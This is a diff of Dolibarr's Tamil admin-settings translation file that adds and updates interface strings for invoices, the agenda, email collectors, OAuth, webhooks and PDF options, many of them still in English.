திரும்பு TypeOfRevenueStamp=வரி முத்திரையின் வகை @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      இந்த மென SetupDescription5=பிற அமைவு மெனு உள்ளீடுகள் விருப்ப அளவுருக்களை நிர்வகிக்கின்றன. SetupDescriptionLink= %s - %s SetupDescription3b=உங்கள் பயன்பாட்டின் இயல்புநிலை நடத்தையைத் தனிப்பயனாக்கப் பயன்படுத்தப்படும் அடிப்படை அளவுருக்கள் (எ.கா. நாடு தொடர்பான அம்சங்களுக்கு). -SetupDescription4b=இந்த மென்பொருள் பல தொகுதிகள்/பயன்பாடுகளின் தொகுப்பாகும். உங்கள் தேவைகளுடன் தொடர்புடைய தொகுதிகள் இயக்கப்பட்டு கட்டமைக்கப்பட வேண்டும். இந்த தொகுதிகளை செயல்படுத்தும்போது மெனு உள்ளீடுகள் தோன்றும். +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=தணிக்கை செய்யப்படும் பாதுகாப்பு நிகழ்வுகள் NoSecurityEventsAreAduited=பாதுகாப்பு நிகழ்வுகள் எதுவும் தணிக்கை செய்யப்படவில்லை. நீங்கள் அவற்றை %s என்ற மெனுவிலிருந்து இயக்கலாம் Audit=பாதுகாப்பு நிகழ்வுகள் @@ -1235,11 +1253,13 @@ BrowserName=உலாவி பெயர் BrowserOS=உலாவி OS ListOfSecurityEvents=டோலிபார் பாதுகாப்பு நிகழ்வுகளின் பட்டியல் SecurityEventsPurged=பாதுகாப்பு நிகழ்வுகள் அகற்றப்பட்டன +TrackableSecurityEvents=Trackable security events LogEventDesc=குறிப்பிட்ட பாதுகாப்பு நிகழ்வுகளுக்கு பதிவு செய்வதை இயக்கவும். %s - %s மெனு வழியாகப் பதிவை நிர்வாகிகள் செய்கிறார்கள். எச்சரிக்கை, இந்த அம்சம் தரவுத்தளத்தில் அதிக அளவிலான தரவை உருவாக்க முடியும். AreaForAdminOnly=அமைவு அளவுருக்களை நிர்வாகி பயனர்கள் மட்டுமே அமைக்க முடியும். SystemInfoDesc=கணினித் தகவல் என்பது நீங்கள் படிக்க மட்டும் பயன்முறையில் பெறும் மற்றும் நிர்வாகிகளுக்கு மட்டுமே தெரியும் பல்வேறு தொழில்நுட்பத் தகவலாகும். SystemAreaForAdminOnly=இந்த பகுதி நிர்வாகி பயனர்களுக்கு மட்டுமே கிடைக்கும். Dolibarr பயனர் அனுமதிகள் இந்த கட்டுப்பாட்டை மாற்ற முடியாது. CompanyFundationDesc=உங்கள் நிறுவனம்/நிறுவனத்தின் தகவலைத் திருத்தவும். முடிந்ததும் பக்கத்தின் கீழே உள்ள "%s" பொத்தானைக் கிளிக் செய்யவும். +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=உங்களிடம் வெளிப்புறக் கணக்காளர்/புத்தகக் காப்பாளர் இருந்தால், அதன் தகவலை இங்கே திருத்தலாம். AccountantFileNumber=கணக்காளர் குறியீடு DisplayDesc=பயன்பாட்டின் தோற்றம் மற்றும் விளக்கக்காட்சியைப் பாதிக்கும் அளவுருக்கள் இங்கே மாற்றியமைக்கப்படலாம். @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=தொகுதி %s இயக்கப் GeneratedPasswordDesc=தானாக உருவாக்கப்பட்ட கடவுச்சொற்களுக்குப் பயன்படுத்த வேண்டிய முறையைத் தேர்ந்தெடுக்கவும். DictionaryDesc=அனைத்து குறிப்பு தரவுகளையும் செருகவும். உங்கள் மதிப்புகளை இயல்புநிலையில் சேர்க்கலாம். ConstDesc=பிற பக்கங்களில் இல்லாத அளவுருக்களைத் திருத்த (மேற்பார்வை) இந்தப் பக்கம் அனுமதிக்கிறது. இவை பெரும்பாலும் டெவலப்பர்கள்/மேம்பட்ட சரிசெய்தலுக்கு மட்டுமே ஒதுக்கப்பட்ட அளவுருக்கள். +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=மற்ற அனைத்து பாதுகாப்பு தொடர்பான அளவுருக்கள் இங்கே வரையறுக்கப்பட்டுள்ளன. LimitsSetup=வரம்புகள்/துல்லியமான அமைப்பு LimitsDesc=Dolibarr பயன்படுத்தும் வரம்புகள், துல்லியங்கள் மற்றும் மேம்படுத்தல்களை நீங்கள் இங்கே வரையறுக்கலாம் @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=பயனர் %s உ YourPHPDoesNotHaveSSLSupport=உங்கள் PHP இல் SSL செயல்பாடுகள் இல்லை DownloadMoreSkins=பதிவிறக்கம் செய்ய மேலும் தோல்கள் SimpleNumRefModelDesc=%syymm-nnnn வடிவத்தில் குறிப்பு எண்ணை வழங்குகிறது, இங்கு yy என்பது ஆண்டு, mm என்பது மாதம் மற்றும் nnnn என்பது மீட்டமைக்கப்படாத ஒரு தொடர்ச்சியான தானியங்கு-அதிகரிப்பு எண்ணாகும். +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=%s-nnnn வடிவத்தில் குறிப்பு எண்ணை வழங்கும் ShowProfIdInAddress=முகவரிகளுடன் தொழில்முறை ஐடியைக் காட்டு ShowVATIntaInAddress=சமூகத்திற்குள் VAT எண்ணை மறை @@ -1376,7 +1399,7 @@ GetBarCode=பார்கோடு பெறவும் NumberingModules=எண் மாதிரிகள் DocumentModules=ஆவண மாதிரிகள் ##### Module password generation -PasswordGenerationStandard=உள் Dolibarr அல்காரிதம் படி உருவாக்கப்பட்ட கடவுச்சொல்லை திருப்பி அனுப்பவும்: %s எழுத்துகள் பகிரப்பட்ட எண்கள் மற்றும் சிறிய எழுத்துக்களில் உள்ள எழுத்துக்கள். +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=உருவாக்கப்பட்ட கடவுச்சொல்லை பரிந்துரைக்க வேண்டாம். கடவுச்சொல்லை கைமுறையாக தட்டச்சு செய்ய வேண்டும். PasswordGenerationPerso=உங்கள் தனிப்பட்ட முறையில் வரையறுக்கப்பட்ட உள்ளமைவின்படி கடவுச்சொல்லை திருப்பி அனுப்பவும். SetupPerso=உங்கள் கட்டமைப்பின் படி @@ -1430,6 +1453,10 @@ SuppliersPayment=விற்பனையாளர் கொடுப்பன SupplierPaymentSetup=விற்பனையாளர் கட்டண அமைப்பு InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=வணிக முன்மொழிவுகள் தொகுதி அமைவு ProposalsNumberingModules=வணிக முன்மொழிவு எண் மாதிரிகள் @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=வரைவு ஒப்பந்தங்கள ##### Members ##### MembersSetup=உறுப்பினர்கள் தொகுதி அமைப்பு MemberMainOptions=முக்கிய விருப்பங்கள் +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= ஒவ்வொரு உறுப்பினருக்கும் ஒரு உள்நுழைவை நிர்வகிக்கவும் AdherentMailRequired=புதிய உறுப்பினரை உருவாக்க மின்னஞ்சல் தேவை MemberSendInformationByMailByDefault=உறுப்பினர்களுக்கு மின்னஞ்சல் உறுதிப்படுத்தலை அனுப்புவதற்கான தேர்வுப்பெட்டி (சரிபார்ப்பு அல்லது புதிய சந்தா) இயல்பாகவே இயக்கத்தில் உள்ளது MemberCreateAnExternalUserForSubscriptionValidated=சரிபார்க்கப்பட்ட ஒவ்வொரு புதிய உறுப்பினர் சந்தாவிற்கும் வெளிப்புற பயனர் உள்நுழைவை உருவாக்கவும் -VisitorCanChooseItsPaymentMode=கிடைக்கக்கூடிய கட்டண முறைகளில் இருந்து பார்வையாளர் தேர்வு செய்யலாம் +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=காலாவதியான சந்தாக்களின்
      மின்னஞ்சல் மூலம் என்ற தானியங்கி நினைவூட்டலை இயக்கவும். குறிப்பு: தொகுதி %s இயக்கப்பட்டிருக்க வேண்டும் மற்றும் நினைவூட்டல்களை அனுப்ப, சரியாக அமைக்க வேண்டும். MembersDocModules=உறுப்பினர் பதிவிலிருந்து உருவாக்கப்பட்ட ஆவணங்களுக்கான ஆவண வார்ப்புருக்கள் ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=மேம்பட்ட எடிட்டரைச் செ FCKeditorForNotePublic=உறுப்புகளின் "பொது குறிப்புகள்" புலத்தின் WYSIWIG உருவாக்கம்/பதிப்பு FCKeditorForNotePrivate=உறுப்புகளின் "தனியார் குறிப்புகள்" புலத்தின் WYSIWIG உருவாக்கம்/பதிப்பு FCKeditorForCompany=WYSIWIG உருவாக்கம்/உறுப்புகளின் புல விளக்கத்தின் பதிப்பு (தயாரிப்புகள்/சேவைகள் தவிர) -FCKeditorForProduct=தயாரிப்புகள்/சேவைகளின் கள விளக்கத்தின் WYSIWIG உருவாக்கம்/பதிப்பு -FCKeditorForProductDetails=WYSIWIG தயாரிப்புகளின் உருவாக்கம்/பதிப்பு அனைத்து நிறுவனங்களுக்கும் (முன்மொழிவுகள், ஆர்டர்கள், இன்வாய்ஸ்கள் போன்றவை...) விவரங்கள். எச்சரிக்கை: PDF கோப்புகளை உருவாக்கும்போது சிறப்பு எழுத்துகள் மற்றும் பக்க வடிவமைப்பில் சிக்கல்களை உருவாக்கலாம் என்பதால், இந்த விஷயத்தில் இந்த விருப்பத்தைப் பயன்படுத்துவது பரிந்துரைக்கப்படவில்லை. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= வெகுஜன மின்னஞ்சல்களுக்கான WYSIWIG உருவாக்கம்/பதிப்பு (கருவிகள்-> மின்னஞ்சல்) FCKeditorForUserSignature=WYSIWIG உருவாக்கம்/பயனர் கையொப்பத்தின் பதிப்பு FCKeditorForMail=அனைத்து அஞ்சல்களுக்கும் WYSIWIG உருவாக்கம்/பதிப்பு (கருவிகள்-> மின்னஞ்சல் தவிர) @@ -1762,7 +1790,7 @@ DetailMenuHandler=புதிய மெனுவைக் காண்பிக DetailMenuModule=மெனு உள்ளீடு ஒரு தொகுதியிலிருந்து வந்தால் தொகுதியின் பெயர் DetailType=மெனு வகை (மேல் அல்லது இடது) DetailTitre=மொழிபெயர்ப்பிற்கான மெனு லேபிள் அல்லது லேபிள் குறியீடு -DetailUrl=மெனு உங்களுக்கு அனுப்பும் URL (முழுமையான URL இணைப்பு அல்லது http:// உடன் வெளிப்புற இணைப்பு) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=காட்ட வேண்டிய அல்லது நுழைவதற்கான நிபந்தனை DetailRight=அங்கீகரிக்கப்படாத சாம்பல் மெனுக்களைக் காண்பிக்க வேண்டிய நிபந்தனை DetailLangs=லேபிள் குறியீடு மொழிபெயர்ப்புக்கான லாங் கோப்பு பெயர் @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=நிகழ்வுகளின் வகைகளைப AGENDA_USE_EVENT_TYPE_DEFAULT=நிகழ்வு உருவாக்கும் படிவத்தில் நிகழ்வின் வகைக்கு இந்த இயல்புநிலை மதிப்பை தானாக அமைக்கவும் AGENDA_DEFAULT_FILTER_TYPE=நிகழ்ச்சி நிரல் பார்வையின் தேடல் வடிப்பானில் இந்த வகையான நிகழ்வைத் தானாக அமைக்கவும் AGENDA_DEFAULT_FILTER_STATUS=நிகழ்ச்சி நிரல் பார்வையின் தேடல் வடிப்பானில் நிகழ்வுகளுக்கு இந்த நிலையை தானாக அமைக்கவும் +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=மெனு நிகழ்ச்சி நிரலைத் தேர்ந்தெடுக்கும்போது எந்தக் காட்சியை இயல்பாகத் திறக்க விரும்புகிறீர்கள் AGENDA_REMINDER_BROWSER=பயனரின் உலாவி இல் நிகழ்வு நினைவூட்டல் ஐ இயக்கவும் (நினைவூட்டல் தேதியை அடைந்ததும், உலாவியால் ஒரு பாப்அப் காண்பிக்கப்படும். ஒவ்வொரு பயனரும் அதன் உலாவி அறிவிப்பு அமைப்பிலிருந்து அத்தகைய அறிவிப்புகளை முடக்கலாம்). AGENDA_REMINDER_BROWSER_SOUND=ஒலி அறிவிப்பை இயக்கவும் @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS இல் பங்கு கு CashDeskYouDidNotDisableStockDecease=பாயிண்ட் ஆஃப் சேல் மூலம் விற்பனை செய்யும் போது பங்கு குறைப்பை நீங்கள் முடக்கவில்லை. எனவே ஒரு கிடங்கு தேவை. CashDeskForceDecreaseStockLabel=தொகுதி தயாரிப்புகளுக்கான பங்கு குறைப்பு கட்டாயப்படுத்தப்பட்டது. CashDeskForceDecreaseStockDesc=பழமையான சாப்பிடும் மற்றும் விற்கும் தேதிகளால் முதலில் குறைக்கவும். -CashDeskReaderKeyCodeForEnter="Enter" க்கான முக்கிய குறியீடு பார்கோடு ரீடரில் வரையறுக்கப்பட்டுள்ளது (எடுத்துக்காட்டு: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=புக்மார்க் தொகுதி அமைவு BookmarkDesc=புக்மார்க்குகளை நிர்வகிக்க இந்த தொகுதி உங்களை அனுமதிக்கிறது. உங்கள் இடது மெனுவில் உள்ள எந்த Dolibarr பக்கங்களுக்கும் அல்லது வெளிப்புற இணைய தளங்களுக்கும் குறுக்குவழிகளைச் சேர்க்கலாம். @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=விற்பனையாளர் இன்வ IfSetToYesDontForgetPermission=பூஜ்யமற்ற மதிப்பாக அமைக்கப்பட்டால், இரண்டாவது ஒப்புதலுக்கு அனுமதிக்கப்பட்ட குழுக்கள் அல்லது பயனர்களுக்கு அனுமதிகளை வழங்க மறக்காதீர்கள் ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind தொகுதி அமைப்பு -PathToGeoIPMaxmindCountryDataFile=கோப்பிற்கான பாதை Maxmind ip to நாட்டு மொழிபெயர்ப்பு.
      எடுத்துக்காட்டுகள்:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfda19bzre0342fccfda19bz0 +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=உங்கள் IP முதல் நாடு வரையிலான தரவுக் கோப்பு உங்கள் PHP படிக்கக்கூடிய கோப்பகத்தில் இருக்க வேண்டும் என்பதை நினைவில் கொள்ளவும் (உங்கள் PHP open_basedir அமைப்பு மற்றும் கோப்பு முறைமை அனுமதிகளைச் சரிபார்க்கவும்). YouCanDownloadFreeDatFileTo=Maxmind GeoIP நாட்டுக் கோப்பின் இலவச டெமோ பதிப்பான ஐ %s இல் பதிவிறக்கம் செய்யலாம். YouCanDownloadAdvancedDatFileTo=%s இல் Maxmind GeoIP நாட்டுக் கோப்பின்
      புதுப்பிப்புகளுடன் மேலும் முழுப் பதிப்பையும் பதிவிறக்கம் செய்யலாம். @@ -1922,6 +1953,7 @@ BackupDumpWizard=தரவுத்தள டம்ப் கோப்பை உ BackupZipWizard=ஆவணங்கள் கோப்பகத்தின் காப்பகத்தை உருவாக்க வழிகாட்டி SomethingMakeInstallFromWebNotPossible=பின்வரும் காரணத்திற்காக இணைய இடைமுகத்திலிருந்து வெளிப்புற தொகுதியை நிறுவுவது சாத்தியமில்லை: SomethingMakeInstallFromWebNotPossible2=இந்த காரணத்திற்காக, இங்கு விவரிக்கப்பட்டுள்ள மேம்படுத்தல் செயல்முறையானது ஒரு சிறப்புரிமை பெற்ற பயனர் மட்டுமே செய்யக்கூடிய ஒரு கைமுறை செயல்முறையாகும். +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=பயன்பாட்டிலிருந்து வெளிப்புற தொகுதியை நிறுவுவது உங்கள் நிர்வாகியால் முடக்கப்பட்டுள்ளது. இந்த அம்சத்தை அனுமதிக்க, %s கோப்பை அகற்றும்படி அவரிடம் கேட்க வேண்டும். ConfFileMustContainCustom=பயன்பாட்டிலிருந்து வெளிப்புற தொகுதியை நிறுவுதல் அல்லது உருவாக்குதல் தொகுதி கோப்புகளை %s கோப்பகத்தில் சேமிக்க வேண்டும். இந்த கோப்பகத்தை Dolibarr ஆல் செயல்படுத்த, 2 வழிகாட்டுதல் வரிகளைச் சேர்க்க, conf/conf.php ஐ அமைக்க வேண்டும்:
      a0e7843947cli'rto_in_barz0 $d06bz

      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=மவுஸ் நகர்த்தும்போது அட்டவணை வரிகளை முன்னிலைப்படுத்தவும் @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=கொள்முதல் ஆணைகள் MailToSendSupplierInvoice=விற்பனையாளர் விலைப்பட்டியல் MailToSendContract=ஒப்பந்தங்கள் MailToSendReception=வரவேற்புகள் +MailToExpenseReport=Expense reports MailToThirdparty=மூன்றாம் தரப்பினர் MailToMember=உறுப்பினர்கள் MailToUser=பயனர்கள் @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=PDF இல் வலது ஓரம் MAIN_PDF_MARGIN_TOP=PDF இல் மேல் விளிம்பு MAIN_PDF_MARGIN_BOTTOM=PDF இல் கீழ் விளிம்பு MAIN_DOCUMENTS_LOGO_HEIGHT=PDF இல் லோகோவுக்கான உயரம் +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=முன்மொழிவு வரிகளில் படத்திற்கான நெடுவரிசையைச் சேர்க்கவும் MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=வரிகளில் படம் சேர்க்கப்பட்டால் நெடுவரிசையின் அகலம் MAIN_PDF_NO_SENDER_FRAME=அனுப்புநர் முகவரி சட்டத்தில் எல்லைகளை மறை @@ -2047,6 +2081,8 @@ RemoveSpecialChars=சிறப்பு எழுத்துக்களை COMPANY_AQUARIUM_CLEAN_REGEX=ரீஜெக்ஸ் வடிப்பானில் சுத்தமான மதிப்பு (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=ரீஜெக்ஸ் ஃபில்டர் சுத்தமான மதிப்பு (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=நகல் அனுமதிக்கப்படவில்லை +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=தரவு பாதுகாப்பு அதிகாரி (DPO, தரவு தனியுரிமை அல்லது GDPR தொடர்பு) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=உதவிக்குறிப்பில் உரையைக் காட்ட உதவும் @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=வழக்கமான மின்னஞ்சல் பெட்டிகளை (IMAP நெறிமுறையைப் பயன்படுத்தி) ஸ்கேன் செய்ய திட்டமிடப்பட்ட வேலை மற்றும் அமைவுப் பக்கத்தைச் சேர்க்கவும் மற்றும் உங்கள் விண்ணப்பத்தில் பெறப்பட்ட மின்னஞ்சல்களை சரியான இடத்தில் பதிவு செய்யவும் மற்றும்/அல்லது சில பதிவுகளை தானாக உருவாக்கவும் (லீட்கள் போன்றவை). NewEmailCollector=புதிய மின்னஞ்சல் கலெக்டர் EMailHost=மின்னஞ்சல் IMAP சேவையகத்தின் ஹோஸ்ட் +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=அஞ்சல் பெட்டி மூல அடைவு MailboxTargetDirectory=அஞ்சல் பெட்டி இலக்கு அடைவு EmailcollectorOperations=கலெக்டர் மூலம் செய்ய வேண்டிய செயல்பாடுகள் EmailcollectorOperationsDesc=செயல்பாடுகள் மேலிருந்து கீழ் வரிசையில் செயல்படுத்தப்படுகின்றன MaxEmailCollectPerCollect=ஒரு சேகரிப்புக்கு அதிகபட்ச மின்னஞ்சல்கள் சேகரிக்கப்படுகின்றன +TestCollectNow=Test collect CollectNow=இப்போது சேகரிக்கவும் ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=சமீபத்திய சேகரிப்பு முயற்சியின் தேதி @@ -2097,6 +2140,7 @@ CodeLastResult=சமீபத்திய முடிவு குறியீ NbOfEmailsInInbox=மூல கோப்பகத்தில் உள்ள மின்னஞ்சல்களின் எண்ணிக்கை LoadThirdPartyFromName=%s இல் மூன்றாம் தரப்பு தேடலை ஏற்றவும் (ஏற்றம் மட்டும்) LoadThirdPartyFromNameOrCreate=%s இல் மூன்றாம் தரப்பு தேடலை ஏற்றவும் (கண்டுபிடிக்கவில்லை என்றால் உருவாக்கவும்) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Dolibarr இலிருந்து அனுப்பப்பட்ட முதல் மின்னஞ்சலின் மூலம் தொடங்கப்பட்ட உரையாடலில் இருந்து வந்த செய்தி WithoutDolTrackingID=Dolibarr இலிருந்து அனுப்பப்படாத முதல் மின்னஞ்சலால் தொடங்கப்பட்ட உரையாடலில் இருந்து வந்த செய்தி @@ -2106,7 +2150,7 @@ CreateCandidature=வேலை விண்ணப்பத்தை உருவ FormatZip=ஜிப் MainMenuCode=மெனு நுழைவு குறியீடு (முதன்மை மெனு) ECMAutoTree=தானியங்கி ECM மரத்தைக் காட்டு -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=தொடக்க நேரம் OpeningHoursDesc=உங்கள் நிறுவனத்தின் வழக்கமான திறந்திருக்கும் நேரத்தை இங்கே உள்ளிடவும். ResourceSetup=வள தொகுதியின் கட்டமைப்பு @@ -2171,6 +2215,7 @@ ShowProjectLabel=திட்ட லேபிள் PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=உங்கள் PDF இல் உள்ள சில உரைகளை ஒரே மாதிரியான PDF இல் 2 வெவ்வேறு மொழிகளில் நகல் எடுக்க விரும்பினால், நீங்கள் இந்த இரண்டாவது மொழியை இங்கே அமைக்க வேண்டும், எனவே உருவாக்கப்பட்ட PDF ஆனது ஒரே பக்கத்தில் 2 வெவ்வேறு மொழிகளைக் கொண்டிருக்கும், PDF ஐ உருவாக்கும் போது தேர்ந்தெடுக்கப்பட்ட மொழி மற்றும் இது ( சில PDF வார்ப்புருக்கள் மட்டுமே இதை ஆதரிக்கின்றன). ஒரு PDFக்கு 1 மொழிக்கு காலியாக இருங்கள். PDF_USE_A=இயல்புநிலை PDF வடிவத்திற்கு பதிலாக PDF/A வடிவத்துடன் PDF ஆவணங்களை உருவாக்கவும் FafaIconSocialNetworksDesc=FontAwesome ஐகானின் குறியீட்டை இங்கே உள்ளிடவும். FontAwesome என்றால் என்னவென்று உங்களுக்குத் தெரியாவிட்டால், FA-address-book என்ற பொதுவான மதிப்பைப் பயன்படுத்தலாம். @@ -2199,12 +2244,12 @@ MailToPartnership=கூட்டு AGENDA_EVENT_DEFAULT_STATUS=படிவத்திலிருந்து நிகழ்வை உருவாக்கும் போது இயல்புநிலை நிகழ்வு நிலை YouShouldDisablePHPFunctions=நீங்கள் PHP செயல்பாடுகளை முடக்க வேண்டும் IfCLINotRequiredYouShouldDisablePHPFunctions=தனிப்பயன் குறியீட்டில் கணினி கட்டளைகளை இயக்க வேண்டும் என்றால் தவிர, நீங்கள் PHP செயல்பாடுகளை முடக்க வேண்டும் -PHPFunctionsRequiredForCLI=ஷெல் நோக்கத்திற்காக (திட்டமிடப்பட்ட வேலை காப்புப்பிரதி அல்லது anitivurs நிரலை இயக்குவது போன்றவை), நீங்கள் PHP செயல்பாடுகளை வைத்திருக்க வேண்டும் +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=உங்கள் ரூட் கோப்பகத்தில் எழுதக்கூடிய கோப்புகள் அல்லது பொதுவான நிரல்களின் கோப்பகங்கள் எதுவும் காணப்படவில்லை (நல்லது) RecommendedValueIs=பரிந்துரைக்கப்படுகிறது: %s Recommended=பரிந்துரைக்கப்படுகிறது NotRecommended=பரிந்துரைக்கப்படவில்லை -ARestrictedPath=சில தடைசெய்யப்பட்ட பாதை +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=வெளிப்புற தொகுதிகள் புதுப்பிப்புகளைச் சரிபார்க்கவும் CheckForModuleUpdateHelp=புதிய பதிப்பு உள்ளதா என்பதைச் சரிபார்க்க, இந்தச் செயல் வெளிப்புற தொகுதிகளின் எடிட்டர்களுடன் இணைக்கப்படும். ModuleUpdateAvailable=ஒரு புதுப்பிப்பு கிடைக்கிறது @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=வெளிப்புற தொகுதிகள SwaggerDescriptionFile=Swagger API விளக்கக் கோப்பு (உதாரணமாக redoc உடன் பயன்படுத்த) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=நீங்கள் நிறுத்தப்பட்ட WS API ஐ இயக்கியுள்ளீர்கள். அதற்குப் பதிலாக நீங்கள் REST API ஐப் பயன்படுத்த வேண்டும். RandomlySelectedIfSeveral=பல படங்கள் இருந்தால் தோராயமாக தேர்ந்தெடுக்கப்படும் +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=conf கோப்பில் தரவுத்தள கடவுச்சொல் தெளிவற்றது DatabasePasswordNotObfuscated=conf கோப்பில் தரவுத்தள கடவுச்சொல் தெளிவற்றதாக இல்லை APIsAreNotEnabled=APIகள் தொகுதிகள் இயக்கப்படவில்லை @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. 